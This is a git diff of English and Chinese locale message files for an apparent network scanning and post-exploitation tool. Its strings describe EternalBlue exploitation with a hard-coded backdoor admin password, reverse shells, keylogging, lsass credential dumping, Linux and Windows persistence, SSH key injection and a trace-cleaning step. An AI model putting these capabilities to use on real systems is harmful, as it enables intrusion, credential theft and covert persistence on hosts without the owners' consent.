+debug_execution_timeline: + other: "Execution timeline" + +# ========================= Proxy Messages ========================= +proxy_unsupported_type: + other: "Unsupported proxy type" +proxy_empty_config: + other: "Configuration cannot be empty" +proxy_socks5_parse_failed: + other: "SOCKS5 proxy address parse failed" +proxy_socks5_create_failed: + other: "SOCKS5 dialer creation failed" +proxy_socks5_conn_timeout: + other: "SOCKS5 connection timed out" +proxy_socks5_conn_failed: + other: "SOCKS5 connection failed" +proxy_direct_conn_failed: + other: "Direct connection failed" +proxy_http_conn_failed: + other: "Failed to connect to HTTP proxy server" +proxy_http_set_write_timeout: + other: "Failed to set write timeout" +proxy_http_send_connect_failed: + other: "Failed to send CONNECT request" +proxy_http_set_read_timeout: + other: "Failed to set read timeout" +proxy_http_read_response_failed: + other: "Failed to read HTTP response" +proxy_http_status_failed: + other: "HTTP proxy connection failed, status code: %d" +proxy_tls_tcp_conn_failed: + other: "Failed to establish TCP connection" +proxy_tls_handshake_failed: + other: "TLS handshake failed" + +# ========================= Output Messages ========================= +output_section_hosts: + other: "# ===== Alive Hosts =====" +output_section_ports: + other: "# ===== Open Ports =====" +output_section_services: + other: "# ===== Services =====" +output_section_vulns: + other: "# ===== Vulnerabilities =====" +output_section_web_services: + other: "# ===== Web Services =====" + +# ========================= Port Fingerprint Messages ========================= +portfinger_probe_protocol_invalid: + other: "Probe protocol must be TCP or UDP" +portfinger_probe_name_invalid: + other: "nmap-service-probes - invalid probe name" +portfinger_input_empty: + other: "Input data is empty" +portfinger_probe_file_empty: + other: "Failed to read nmap-service-probes file: content is empty" +portfinger_probe_exclude_duplicate: + other: "nmap-service-probes file can contain only one Exclude directive" +portfinger_probe_first_line_invalid: + other: "Parse error: first line must start with \"Probe \" or \"Exclude \"" +portfinger_match_directive_invalid: + other: "Invalid {{.Arg1}} directive format" + +# ========================= Service Plugin Common Messages ========================= +service_no_credentials: + other: "No available test credentials" +service_not_identified: + other: "Cannot identify as {{.Arg1}} service" +service_port_restriction: + other: "{{.Arg1}} plugin only supports port {{.Arg2}}" +service_target_unreachable: + other: "Target unreachable: {{.Arg1}}" +service_unauthorized: + other: "Unauthorized access" +service_auth_failed: + other: "Authentication failed" +service_connection_failed: + other: "Connection failed: {{.Arg1}}" +service_no_weak_pass: + other: "No weak password found" +service_no_test_creds: + other: "No credentials to test" +service_conn_port_failed: + other: "Port connection failed: {{.Arg1}}" diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index dfa506f..0659d02 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -30,6 +30,8 @@ flag_disable_ping: other: "禁用ping探测" flag_disable_tcp_probe: other: "禁用TCP补充探测" +flag_local_plugin: + other: "指定本地插件名称 (如: cleaner, systeminfo, keylogger 等)" flag_debug: other: "开启调试模式,日志写入fscan_debug.log" flag_alive_only: @@ -41,7 +43,7 @@ flag_password: flag_add_users: other: "额外用户名" flag_add_passwords: - other: "额外密码" + other: "额外密码,支持逗号或空格分隔多个值" flag_users_file: other: "用户名字典文件" flag_passwords_file: @@ -69,7 +71,7 @@ flag_max_redirects: flag_http_proxy: other: "HTTP代理" flag_socks5_proxy: - other: "使用SOCKS5代理 (如: 127.0.0.1:1080)" + other: "使用SOCKS5代理 (如: 127.0.0.1:1080 或 socks5://user:pass@127.0.0.1:1080)" flag_iface: other: "指定本地网卡IP地址 (VPN场景,如: 10.8.0.5)" flag_poc_path: @@ -120,6 +122,8 @@ flag_log_level: other: "日志级别" flag_disable_progress: other: "禁用进度条" +flag_perf_stats: + other: "输出性能统计JSON" flag_shellcode: other: "Shellcode" flag_reverse_shell_target: @@ -142,6 +146,10 @@ flag_language: other: "语言: zh, en" flag_help: other: "显示帮助信息" +flag_web_mode: + other: "启动Web管理界面" +flag_web_port: + other: "Web服务器端口" # ========================= 扫描模式消息 ========================= scan_mode_service_selected: other: "已选择服务扫描模式" @@ -191,6 +199,12 @@ progress_scanning_description: other: "扫描进度" progress_scan_completed: other: "扫描完成:" +progress_waiting: + other: "等待中..." +progress_done: + other: "完成" +progress_duration: + other: "耗时" concurrency_plugin: other: "插件" concurrency_local_plugin: @@ -209,10 +223,56 @@ parse_error_empty_input: other: "输入参数为空" parse_error_parser_not_init: other: "解析器未初始化" +parser_read_hosts_failed: + other: "读取主机文件失败" +parser_parse_host_failed: + other: "解析主机失败" +parser_parse_exclude_failed: + other: "解析排除主机失败" +parser_no_valid_hosts: + other: "没有找到有效的主机" +parser_cidr_failed: + other: "CIDR解析失败 {{.Arg1}}" +parser_ip_range_failed: + other: "IP范围解析失败 {{.Arg1}}" +parser_invalid_ip_range_fmt: + other: "无效的IP范围格式: {{.Arg1}}" +parser_invalid_start_ip: + other: "无效的起始IP地址: {{.Arg1}}" +parser_invalid_end_ip: + other: "无效的结束IP地址: {{.Arg1}}" +parser_invalid_ip_end_val: + other: "无效的IP范围结束值: {{.Arg1}}" +parser_invalid_ip_range_val: + other: "无效的IP范围: {{.Arg1}}-{{.Arg2}}" +parser_invalid_ip_fmt: + other: "无效的IP地址格式: {{.Arg1}}" +parser_ipv4_only: + other: "仅支持IPv4地址范围" +parser_start_gt_end: + other: "起始IP大于结束IP" +network_rate_limited: + other: "发包受限: {{.Arg1}}" +tcp_connection_restricted: + other: "TCP连接 {{.Arg1}} 受限: {{.Arg2}}" +http_request_restricted: + other: "HTTP请求 {{.Arg1}} 受限: {{.Arg2}}" +proxy_dialer_failed: + other: "获取代理拨号器失败: {{.Arg1}}" +connection_failed: + other: "连接 {{.Arg1}} 失败: {{.Arg2}}" +packet_limit_max_reached: + other: "已达到最大发包数量限制: {{.Arg1}}" +packet_limit_rate_limited: + other: "发包速率受限: {{.Arg1}}包/分钟" target_local_mode: other: "本地扫描模式" param_conflict_ao_icmp_both: other: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式" +param_local_multi_plugin: + other: "本地插件只能指定单个插件,不支持使用 '{{.Arg1}}' 分隔的多个插件" +param_join_and: + other: "{{.Arg1}} 和 {{.Arg2}}" # ========================= 解析器消息 ========================= parser_empty_input: @@ -231,6 +291,20 @@ parser_hash_invalid_format: # ========================= 配置消息 ========================= config_web_timeout_warning: other: "Web超时时间大于普通超时时间,可能导致不期望的行为" +config_build_failed: + other: "配置构建失败" +output_init_failed: + other: "输出初始化失败" +config_credentials_parse_failed: + other: "凭据解析失败" +config_targets_parse_failed: + other: "目标解析失败" +config_read_users_failed: + other: "读取用户名文件 {{.Arg1}} 失败: {{.Arg2}}" +config_read_passwords_failed: + other: "读取密码文件 {{.Arg1}} 失败: {{.Arg2}}" +config_read_urls_failed: + other: "读取URL文件 {{.Arg1}} 失败: {{.Arg2}}" # ========================= 插件扫描消息 (带参数) ========================= scan_plugin_not_found: @@ -347,6 +421,48 @@ port_open_http: other: "端口开放 {{.Arg1}} [http](HTTP探测)" port_scan_no_alive_subnet: other: "网段预筛未发现存活子网,跳过端口扫描" +network_rate_limited_pattern: + other: "发包受限" +port_scan_debug_start: + other: "[PortScan] 开始: {{.Arg1}}个主机, 线程数={{.Arg2}}" +port_scan_debug_ports_parsed: + other: "[PortScan] 端口解析完成: {{.Arg1}}个端口" +proxy_echo_warning: + other: "检测到代理存在全回显问题,端口扫描结果可能不准确" +port_scan_debug_total_tasks: + other: "[PortScan] 总任务数: {{.Arg1}}" +large_scan_notice: + other: "大规模扫描: {{.Arg1}} 个目标 ({{.Arg2}}主机 × {{.Arg3}}端口)" +large_scan_thread_adjusted: + other: "自动调整线程数: {{.Arg1}} -> {{.Arg2}} (大规模扫描优化)" +port_scan_progress_description: + other: "端口扫描中({{.Arg1}}线程)" +port_scan_debug_progress_ready: + other: "[PortScan] 进度条初始化完成" +port_scan_debug_pool_create: + other: "[PortScan] 开始创建线程池, size={{.Arg1}}" +port_scan_debug_pool_created: + other: "[PortScan] 线程池创建成功" +port_scan_debug_schedule_start: + other: "[PortScan] 开始滑动窗口调度" +port_scan_debug_schedule_done: + other: "[PortScan] 滑动窗口调度完成" +proxy_verify_failed: + other: "代理验证失败 {{.Arg1}}: {{.Arg2}}" +proxy_error_response: + other: "代理返回错误响应 {{.Arg1}}" +proxy_probe_write_failed: + other: "探测写入失败 {{.Arg1}}: {{.Arg2}}" +proxy_probe_error_response: + other: "代理探测返回错误 {{.Arg1}}" +proxy_connection_rejected: + other: "代理连接被拒绝 {{.Arg1}}: {{.Arg2}}" +proxy_no_response_closed: + other: "代理连接无响应,判定为端口关闭 {{.Arg1}}" +subnet_prefilter_start: + other: "网段预筛: {{.Arg1}} 个 /24 子网, {{.Arg2}} 个主机" +subnet_prefilter_done: + other: "网段预筛完成: {{.Arg1}} 个存活 (网关命中 {{.Arg2}}), {{.Arg3}} 个跳过, 剩余 {{.Arg4}} 主机" # ========================= 本地扫描消息 ========================= local_plugin_info: @@ -403,6 +519,28 @@ start_web_scan: other: "开始Web扫描" start_scan: other: "开始扫描" +plugin_list_summary: + other: "{{.Arg1}} ... 等{{.Arg2}}个" +service_probe_empty_response: + other: "响应数据为空" +service_probe_microsoft_ds: + other: "特殊处理 microsoft-ds 服务" +service_probe_identified: + other: "服务识别结果: {{.Arg1}}, Banner: {{.Arg2}}" +service_probe_http_identified: + other: "识别为HTTP服务" +service_probe_unknown: + other: "未知服务" +service_probe_soft_match: + other: "软匹配服务: {{.Arg1}}" +icmp_debug_all_responded: + other: "[ICMP] 全部响应,耗时 {{.Arg1}}" +icmp_debug_max_wait: + other: "[ICMP] 达到最大等待时间 {{.Arg1}},存活 {{.Arg2}}/{{.Arg3}}" +icmp_debug_stable_done: + other: "[ICMP] 响应稳定,提前结束,耗时 {{.Arg1}},存活 {{.Arg2}}/{{.Arg3}}" +adaptive_pool_resource_exhausted: + other: "[AdaptivePool] 资源耗尽率 {{.Arg1}}%, 线程数 {{.Arg2}} -> {{.Arg3}}" # ========================= 服务插件通用消息 ========================= # 格式: {service}_{type} - type: credential/unauth/service/vuln @@ -526,6 +664,654 @@ ms17010_pipe_decrypt_error: other: "管道请求解密错误: {{.Arg1}}" ms17010_pipe_decode_error: other: "管道请求解码错误: {{.Arg1}}" +ms17010_port_only: + other: "MS17-010漏洞检测仅支持445端口" +ms17010_vuln_banner: + other: "MS17-010漏洞 ({{.Arg1}})" +ms17010_not_vulnerable: + other: "目标不存在MS17-010漏洞" +ms17010_exploit_header: + other: "=== MS17-010漏洞利用结果 - {{.Arg1}} ===" +ms17010_exploit_check_failed: + other: "[漏洞检测失败] {{.Arg1}}" +ms17010_exploit_not_vulnerable: + other: "[漏洞状态] 目标不存在MS17-010漏洞" +ms17010_exploit_confirmed: + other: "[漏洞确认] MS17-010漏洞存在" +ms17010_exploit_os: + other: "[操作系统] {{.Arg1}}" +ms17010_exploit_backdoor_found: + other: "[后门检测] 发现DOUBLEPULSAR后门" +ms17010_exploit_backdoor_not_found: + other: "[后门检测] 未发现DOUBLEPULSAR后门" +ms17010_exploit_mode: + other: "[利用模式] {{.Arg1}}" +ms17010_exploit_start_attack: + other: "[利用状态] 开始执行EternalBlue攻击..." +ms17010_exploit_failed: + other: "[利用结果] 利用失败: {{.Arg1}}" +ms17010_exploit_success: + other: "[利用结果] 漏洞利用成功完成" +ms17010_exploit_bind_hint: + other: "[连接建议] 使用以下命令连接Bind Shell:" +ms17010_exploit_add_hint: + other: "[访问建议] 已添加管理员账户,可以通过以下方式连接:" +ms17010_exploit_add_credential: + other: " 用户名: sysadmin 密码: 1qaz@WSX!@#4" +ms17010_exploit_guest_hint: + other: "[访问建议] 已激活Guest账户,可以直接远程连接" +ms17010_exploit_detect_only: + other: "[利用模式] 仅检测模式 (未配置Shellcode)" +ms17010_exploit_shellcode_hint: + other: "[建议] 可使用 -sc 参数配置Shellcode进行实际利用" +ms17010_exploit_supported_modes: + other: " 支持的模式: bind, add, guest 或自定义shellcode" +ms17010_base64_decode_failed: + other: "base64解码失败" +ms17010_aes_cipher_failed: + other: "创建AES密码块失败" +ms17010_ciphertext_too_short: + other: "密文长度过短" +ms17010_invalid_padding: + other: "无效的填充" +ms17010_padding_check_failed: + other: "填充验证失败" +ms17010_connection_error: + other: "连接错误" +ms17010_set_timeout_error: + other: "设置超时错误" +ms17010_send_protocol_error: + other: "发送协议请求错误" +ms17010_smbv1_unsupported: + other: "目标可能不支持SMBv1" +ms17010_smbv1_rejected: + other: "SMBv1协议协商被拒绝" +ms17010_send_session_error: + other: "发送会话请求错误" +ms17010_session_failed: + other: "SMB会话建立失败" +ms17010_session_rejected: + other: "SMB会话被拒绝" +ms17010_send_tree_error: + other: "发送树连接请求错误" +ms17010_read_tree_error: + other: "读取树连接响应错误" +ms17010_tree_response_incomplete: + other: "树连接响应不完整" +ms17010_send_pipe_error: + other: "发送管道请求错误" +ms17010_read_pipe_error: + other: "读取管道响应错误" +ms17010_pipe_response_incomplete: + other: "管道响应不完整" +ms17010_bind_shellcode_decrypt_failed: + other: "解密bind shellcode失败" +ms17010_add_shellcode_decrypt_failed: + other: "解密add shellcode失败" +ms17010_guest_shellcode_decrypt_failed: + other: "解密guest shellcode失败" +ms17010_shellcode_file_read_failed: + other: "读取Shellcode文件失败" +ms17010_invalid_shellcode: + other: "无效的Shellcode" +ms17010_shellcode_decode_failed: + other: "shellcode解码失败" +findnet_discovery_failed: + other: "网络发现失败" +findnet_hostname: + other: "主机名: {{.Arg1}}" +findnet_ipv4_count: + other: "IPv4: {{.Arg1}}个" +findnet_ipv6_count: + other: "IPv6: {{.Arg1}}个" +findnet_complete: + other: "网络信息收集完成" +findnet_rpc_request1_failed: + other: "发送RPC请求1失败" +findnet_rpc_response1_failed: + other: "读取RPC响应1失败" +findnet_rpc_request2_failed: + other: "发送RPC请求2失败" +findnet_rpc_response2_failed: + other: "读取RPC响应2失败" +netbios_port_only: + other: "NetBIOS插件仅支持137和139端口" +netbios_info_not_found: + other: "未发现有效的NetBIOS信息" +netbios_name_connect_failed: + other: "连接NetBIOS名称服务失败" +netbios_query_send_failed: + other: "发送NetBIOS查询失败" +netbios_response_read_failed: + other: "读取NetBIOS响应失败" +netbios_session_connect_failed: + other: "连接NetBIOS会话服务失败" +netbios_smb_negotiate_send_failed: + other: "发送SMB协商1失败" +netbios_smb_negotiate_read_failed: + other: "读取SMB协商1响应失败" +netbios_smb_session_send_failed: + other: "发送SMB Session Setup失败" +netbios_smb_session_read_failed: + other: "读取SMB Session Setup响应失败" +netbios_response_too_short: + other: "NetBIOS响应数据过短" +netbios_no_name_records: + other: "没有NetBIOS名称记录" +netbios_smb_response_too_short: + other: "SMB响应数据过短" +rdp_port_closed: + other: "RDP端口未开放" +rdp_remote_desktop_service: + other: "RDP远程桌面服务" +ssh_service_banner: + other: "SSH服务: {{.Arg1}}" +kafka_auth_required: + other: "Kafka (需要认证)" +oracle_connect_failed: + other: "无法连接到Oracle数据库" +oracle_default_account_banner: + other: "未授权访问 - 默认账户" +ftp_anonymous_access_detail: + other: "FTP {{.Arg1}} 匿名访问 - {{.Arg2}}:{{.Arg3}}" +ftp_anonymous_banner: + other: "FTP匿名访问" +unauthorized_access: + other: "未授权访问" +redis_ping_failed: + other: "redis PING测试失败: {{.Arg1}}" +redis_service_pong: + other: "Redis服务 (PONG响应)" +redis_service_auth_required: + other: "Redis服务 (需要认证)" +redis_service_protocol_response: + other: "Redis服务 (协议响应)" +redis_service_plain: + other: "Redis服务" +redis_key_file_read_failed: + other: "读取密钥文件 {{.Arg1}} 失败: {{.Arg2}}" +redis_key_file_empty: + other: "密钥文件 {{.Arg1}} 为空" +redis_host_format_invalid: + other: "主机地址格式错误" +smtp_anonymous_mail_allowed: + other: "未授权访问 - 允许匿名邮件发送" +smtp_open_relay: + other: "未授权访问 - 开放中继" +smtp_vrfy_user_enum: + other: "未授权访问 - VRFY命令枚举用户({{.Arg1}})" +smtp_expn_list_enum: + other: "未授权访问 - EXPN命令枚举邮件列表({{.Arg1}})" +smtp_mail_service_info: + other: "SMTP邮件服务 ({{.Arg1}})" +smtp_mail_service: + other: "SMTP邮件服务" +auth_required: + other: "需要认证" +empty_response_received: + other: "收到空响应" +unexpected_status_code: + other: "意外响应状态码" +unknown_status_code: + other: "未知错误,状态码" +ldap_all_dn_failed: + other: "所有DN格式都失败" +memcached_access_failed: + other: "无法访问Memcached服务" +memcached_connect_failed: + other: "无法连接到Memcached服务" +rsync_connect_failed: + other: "无法连接到Rsync服务" +rsync_modules_failed: + other: "无法获取模块列表" +rsync_unauth_modules: + other: "未授权访问 - 可用模块: {{.Arg1}}" +rsync_service_info: + other: "Rsync服务 ({{.Arg1}})" +rsync_file_sync_service: + other: "Rsync文件同步服务" +rabbitmq_guest_default_password: + other: "未授权访问 - guest默认密码" +cassandra_no_auth_cluster: + other: "Cassandra (无认证, 集群: {{.Arg1}})" +cassandra_auth_required: + other: "Cassandra (需要认证)" +telnet_unauth_service: + other: "Telnet远程终端服务 (未授权访问)" +telnet_auth_required: + other: "Telnet远程终端服务 (需要认证)" +telnet_password_only: + other: "Telnet远程终端服务 (只需密码)" +telnet_custom_welcome: + other: "Telnet远程终端服务 (自定义欢迎: {{.Arg1}})" +telnet_remote_terminal_service: + other: "Telnet远程终端服务" +postgresql_trust_unauth: + other: "未授权访问(trust认证)" +postgresql_trust_unauth_version: + other: "未授权访问(trust认证) - {{.Arg1}}" +activemq_stomp_send_failed: + other: "STOMP请求发送失败" +activemq_stomp_read_failed: + other: "STOMP响应读取失败" +activemq_stomp_empty_response: + other: "STOMP无响应数据" +activemq_stomp_auth_error: + other: "STOMP认证错误" +activemq_stomp_unknown_response: + other: "STOMP未知响应格式" +smb_port_only: + other: "SMB插件仅支持139和445端口" +smb_probe_failed: + other: "SMB协议探测失败" +smb_unauth_domain_access: + other: "SMB {{.Arg1}} 未授权访问 - {{.Arg2}}\\{{.Arg3}}:{{.Arg4}}" +smb_unauth_access: + other: "SMB {{.Arg1}} 未授权访问 - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_access_detail: + other: "SMB {{.Arg1}} 匿名访问 - {{.Arg2}}:{{.Arg3}}" +smb_anonymous_banner: + other: "SMB匿名访问" +smbv1_negotiate_send_failed: + other: "发送SMBv1协商包失败" +smbv1_negotiate_read_failed: + other: "读取SMBv1协商响应失败: {{.Arg1}}" +smbv1_session_send_failed: + other: "发送SMBv1 Session Setup失败" +smbv1_session_read_failed: + other: "读取SMBv1 Session Setup响应失败" +smbv2_negotiate_send_failed: + other: "发送SMBv2协商包失败" +smbv2_negotiate_read_failed: + other: "读取SMBv2协商响应失败" +smbv2_session_send_failed: + other: "发送SMBv2 Session Setup失败" +smbv2_session_read_failed: + other: "读取SMBv2 Session Setup响应失败" +smbv2_ntlm_send_failed: + other: "发送SMBv2 NTLM包失败" +smbv2_ntlm_read_failed: + other: "读取SMBv2 NTLM响应失败" +connection_timeout: + other: "连接超时" +netbios_header_too_short: + other: "NetBIOS头部长度不足" +message_length_too_large: + other: "消息长度过大" +local_target: + other: "目标: {{.Arg1}}" +local_platform: + other: "平台: {{.Arg1}}" +local_listen_port: + other: "监听端口: {{.Arg1}}" +local_output_file: + other: "输出文件: {{.Arg1}}" +local_start_time: + other: "开始时间: {{.Arg1}}" +unsupported_platform: + other: "不支持的平台: {{.Arg1}}" +unsupported_os: + other: "不支持的操作系统: {{.Arg1}}" +connection_failed_plain: + other: "连接失败" +listen_port_failed: + other: "监听端口失败" +command_timeout: + other: "命令执行超时" +command_exec_failed: + other: "命令执行失败: {{.Arg1}}" +command_success_no_output: + other: "(命令执行成功,无输出)" +command_error_with_output: + other: "错误: {{.Arg1}}\n{{.Arg2}}" +reverseshell_header: + other: "=== Go原生反弹Shell ===" +reverseshell_error: + other: "反弹Shell错误: {{.Arg1}}" +reverseshell_done: + other: "✓ 反弹Shell已完成" +forwardshell_header: + other: "=== 正向Shell服务器 ===" +forwardshell_server_error: + other: "正向Shell服务器错误: {{.Arg1}}" +forwardshell_done: + other: "✓ 正向Shell服务已完成" +socks5_header: + other: "=== SOCKS5代理服务器 ===" +socks5_server_error: + other: "SOCKS5代理服务器错误: {{.Arg1}}" +socks5_done: + other: "✓ SOCKS5代理已完成" +socks5_handshake_read_failed: + other: "读取握手请求失败" +socks5_unsupported_version: + other: "不支持的SOCKS版本" +socks5_handshake_write_failed: + other: "发送握手响应失败" +socks5_request_read_failed: + other: "读取连接请求失败" +socks5_invalid_request: + other: "无效的SOCKS5请求" +socks5_unsupported_command: + other: "不支持的命令" +ipv4_address_invalid: + other: "IPv4地址格式错误" +domain_format_invalid: + other: "域名格式错误" +domain_length_invalid: + other: "域名长度错误" +ipv6_address_invalid: + other: "IPv6地址格式错误" +socks5_unsupported_address_type: + other: "不支持的地址类型" +socks5_target_connect_failed: + other: "连接目标服务器失败" +local_address_unavailable: + other: "无法获取本地地址" +socks5_success_response_failed: + other: "发送成功响应失败" +socks5_proxy_connection_established: + other: "建立代理连接: {{.Arg1}}" +keylogger_header: + other: "=== 键盘记录 ===" +keylogger_output_permission_failed: + other: "输出文件权限检查失败: {{.Arg1}}" +platform_requirement_failed: + other: "平台要求检查失败: {{.Arg1}}" +keylogger_failed: + other: "键盘记录失败: {{.Arg1}}" +keylogger_failed_plain: + other: "键盘记录失败" +keylogger_done: + other: "✓ 键盘记录已完成" +keylogger_event_count: + other: "捕获事件数: {{.Arg1}}" +keylogger_log_file: + other: "日志文件: {{.Arg1}}" +output_file_create_failed: + other: "无法创建输出文件 {{.Arg1}}" +output_file_open_failed: + other: "无法打开输出文件" +keylogger_log_header: + other: "=== 键盘记录日志 ===" +keylogger_header_write_failed: + other: "写入头部信息失败" +keylogger_entry_write_failed: + other: "写入键盘记录失败" +keylogger_demo_windows: + other: "演示键盘记录 - Windows平台" +keylogger_demo_linux: + other: "演示键盘记录 - Linux平台" +keylogger_demo_darwin: + other: "演示键盘记录 - macOS平台" +command_read_failed: + other: "读取命令错误" +local_target_file: + other: "目标文件: {{.Arg1}}" +persistence_file_required: + other: "必须通过 -persistence-file 参数指定目标文件路径" +target_file_not_specified: + other: "未指定目标文件" +target_file_not_exist: + other: "目标文件不存在: {{.Arg1}}" +copy_file_failed: + other: "✗ 复制文件失败: {{.Arg1}}" +file_copied_to: + other: "✓ 文件已复制到: {{.Arg1}}" +persistence_complete_summary: + other: "持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" +crontask_linux_only: + other: "计划任务持久化只支持Linux平台" +crontab_unavailable: + other: "crontab命令不可用" +crontask_header: + other: "=== 计划任务持久化 ===" +crontask_user_add_failed: + other: "✗ 添加用户cron任务失败: {{.Arg1}}" +crontask_user_added: + other: "✓ 已添加用户crontab任务" +crontask_system_add_failed: + other: "✗ 添加系统cron任务失败: {{.Arg1}}" +crontask_system_added: + other: "✓ 已添加系统cron任务: {{.Arg1}}" +crontask_at_add_failed: + other: "✗ 添加at任务失败: {{.Arg1}}" +crontask_at_added: + other: "✓ 已添加at延时任务" +crontask_anacron_add_failed: + other: "✗ 添加anacron任务失败: {{.Arg1}}" +crontask_anacron_added: + other: "✓ 已添加anacron任务" +persistence_dir_create_failed: + other: "无法创建持久化目录" +crontask_system_create_none: + other: "无法创建任何系统cron任务" +systemdservice_linux_only: + other: "系统服务持久化只支持Linux平台" +systemctl_unavailable: + other: "systemctl命令不可用: {{.Arg1}}" +systemdservice_header: + other: "=== 系统服务持久化 ===" +systemdservice_create_failed: + other: "✗ 创建systemd服务失败: {{.Arg1}}" +systemdservice_created: + other: "✓ 已创建systemd服务: {{.Arg1}}" +systemdservice_start_failed: + other: "✗ 启动服务失败: {{.Arg1}}" +systemdservice_started: + other: "✓ 服务已启用并启动" +systemdservice_user_create_failed: + other: "✗ 创建用户服务失败: {{.Arg1}}" +systemdservice_user_created: + other: "✓ 已创建用户服务: {{.Arg1}}" +systemdservice_timer_create_failed: + other: "✗ 创建定时器服务失败: {{.Arg1}}" +systemdservice_timer_created: + other: "✓ 已创建systemd定时器" +systemdservice_complete_summary: + other: "系统服务持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" +service_dir_create_failed: + other: "无法创建服务目录" +systemdservice_create_none: + other: "无法创建任何systemd服务文件" +service_operation_error: + other: "服务操作错误" +ldpreload_linux_only: + other: "LD_PRELOAD持久化只支持Linux平台" +ldpreload_so_required: + other: "目标文件必须是 .so 动态库文件: {{.Arg1}}" +invalid_file_type: + other: "无效文件类型" +ldpreload_header: + other: "=== LD_PRELOAD持久化 ===" +ldpreload_copy_system_failed: + other: "✗ 复制文件到系统目录失败: {{.Arg1}}" +ldpreload_env_add_failed: + other: "✗ 添加环境变量失败: {{.Arg1}}" +ldpreload_env_added: + other: "✓ 已添加到全局环境变量" +ldpreload_shell_add_failed: + other: "✗ 添加到shell配置失败: {{.Arg1}}" +ldpreload_shell_added: + other: "✓ 已添加到shell配置: {{.Arg1}}" +ldpreload_config_create_failed: + other: "✗ 创建ld配置失败: {{.Arg1}}" +ldpreload_config_created: + other: "✓ 已创建ld预加载配置" +ldpreload_complete_summary: + other: "LD_PRELOAD持久化完成: 成功({{.Arg1}}) 总计({{.Arg2}})" +ldpreload_system_lib_dir_not_found: + other: "找不到合适的系统库目录" +ldpreload_shell_config_modify_none: + other: "无法修改任何shell配置文件" +cleaner_removed: + other: "[清理] {{.Arg1}}" +cleaner_history_removed: + other: "[清理] {{.Arg1}} 中的 fscan 记录" +sshkey_mkdir_failed: + other: "[失败] {{.Arg1}}: 无法创建 .ssh 目录: {{.Arg2}}" +sshkey_generate_failed: + other: "[失败] {{.Arg1}}: 密钥生成失败: {{.Arg2}}" +sshkey_authorized_read_failed: + other: "[失败] {{.Arg1}}: 读取 authorized_keys 失败: {{.Arg2}}" +sshkey_public_exists: + other: "[跳过] {{.Arg1}}: 公钥已存在" +sshkey_authorized_write_failed: + other: "[失败] {{.Arg1}}: 无法写入 authorized_keys: {{.Arg2}}" +sshkey_private_save_failed: + other: "[失败] {{.Arg1}}: 私钥保存失败: {{.Arg2}}" +sshkey_injected: + other: "[成功] {{.Arg1}}: 公钥已注入 {{.Arg2}},私钥保存为 {{.Arg3}}" +minidump_admin_required: + other: "需要管理员权限" +minidump_load_dll_failed: + other: "加载系统DLL失败: {{.Arg1}}" +minidump_try_direct: + other: "[*] 尝试直接内存转储..." +minidump_av_skip_direct: + other: "[*] 检测到杀软防护,跳过直接dump" +minidump_try_comsvcs: + other: "[*] 尝试 comsvcs.dll 方式..." +minidump_try_regsave: + other: "[*] 尝试 reg save 导出注册表..." +minidump_all_failed: + other: "[!] 所有方式均失败" +minidump_all_methods_failed: + other: "所有凭据提取方式均失败" +minidump_find_lsass_failed: + other: " 查找lsass.exe失败: {{.Arg1}}" +minidump_privilege_failed: + other: " 权限提升失败: {{.Arg1}}" +minidump_direct_failed: + other: " 直接dump失败: {{.Arg1}}" +minidump_method_direct: + other: "直接内存转储" +minidump_comsvcs_failed: + other: " comsvcs.dll失败: {{.Arg1}}" +minidump_hive_export_failed: + other: " ✗ {{.Arg1}} 导出失败" +minidump_regsave_done: + other: "[+] 注册表 hive 导出完成,可用 secretsdump 离线解析" +minidump_method_success: + other: "[+] {{.Arg1}}成功: {{.Arg2}} ({{.Arg3}} bytes)" +minidump_load_named_dll_failed: + other: "加载 {{.Arg1}} 失败" +minidump_find_proc_failed: + other: "查找{{.Arg1}}函数失败" +minidump_snapshot_create_failed: + other: "创建进程快照失败" +minidump_first_process_failed: + other: "获取第一个进程失败" +minidump_process_name_convert_failed: + other: "转换进程名失败" +minidump_process_not_found: + other: "未找到进程: {{.Arg1}}" +minidump_open_process_token_failed: + other: "打开进程令牌失败" +minidump_privilege_name_convert_failed: + other: "转换权限名称失败" +minidump_lookup_privilege_failed: + other: "查找特权值失败" +minidump_adjust_token_failed: + other: "调整令牌特权失败" +minidump_current_process_failed: + other: "获取当前进程句柄失败" +minidump_timeout: + other: "内存转储超时 (120秒)" +minidump_write_dump_failed: + other: "写入转储文件失败" +minidump_open_process_failed: + other: "打开进程失败" +file_create_failed: + other: "创建文件失败" +local_step_failed: + other: "[失败] {{.Arg1}}: {{.Arg2}}" +local_step_success: + other: "[成功] {{.Arg1}}" +local_step_success_detail: + other: "[成功] {{.Arg1}} ({{.Arg2}})" +local_step_success_arrow: + other: "[成功] {{.Arg1}} -> {{.Arg2}}" +winregistry_current_user_run: + other: "当前用户 Run" +winregistry_local_machine_run: + other: "本地机器 Run" +winregistry_current_user_runonce: + other: "当前用户 RunOnce" +winregistry_step_success: + other: "[成功] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" +winifeo_sticky_keys: + other: "粘滞键 (Shift×5)" +winifeo_accessibility: + other: "辅助功能 (Win+U)" +winifeo_narrator: + other: "讲述人" +winlogon_userinit_append: + other: "Userinit 追加" +winlogon_shell_append: + other: "Shell 追加" +winbits_create_task_failed: + other: "[失败] 创建任务: {{.Arg1}}" +winbits_guid_extract_failed: + other: "[失败] 无法提取任务 GUID" +winbits_task_created: + other: "[成功] 创建任务: {{.Arg1}} ({{.Arg2}})" +winbits_add_file: + other: "添加文件" +winbits_set_callback: + other: "设置回调" +winbits_set_retry: + other: "设置重试" +winbits_resume_task: + other: "恢复任务" +winstartup_user_folder: + other: "用户启动文件夹" +winstartup_common_folder: + other: "公共启动文件夹" +cleaner_restore_winlogon_shell: + other: "[恢复] Winlogon Shell: {{.Arg1}} → {{.Arg2}}" +cleaner_restore_winlogon_userinit: + other: "[恢复] Winlogon Userinit: {{.Arg1}} → {{.Arg2}}" +cleaner_ifeo_removed: + other: "[清理] IFEO: {{.Arg1}}" +cleaner_registry_removed: + other: "[清理] 注册表: {{.Arg1}}\\{{.Arg2}}" +cleaner_schtask_removed: + other: "[清理] 计划任务: {{.Arg1}}" +cleaner_service_removed: + other: "[清理] 服务: {{.Arg1}}" 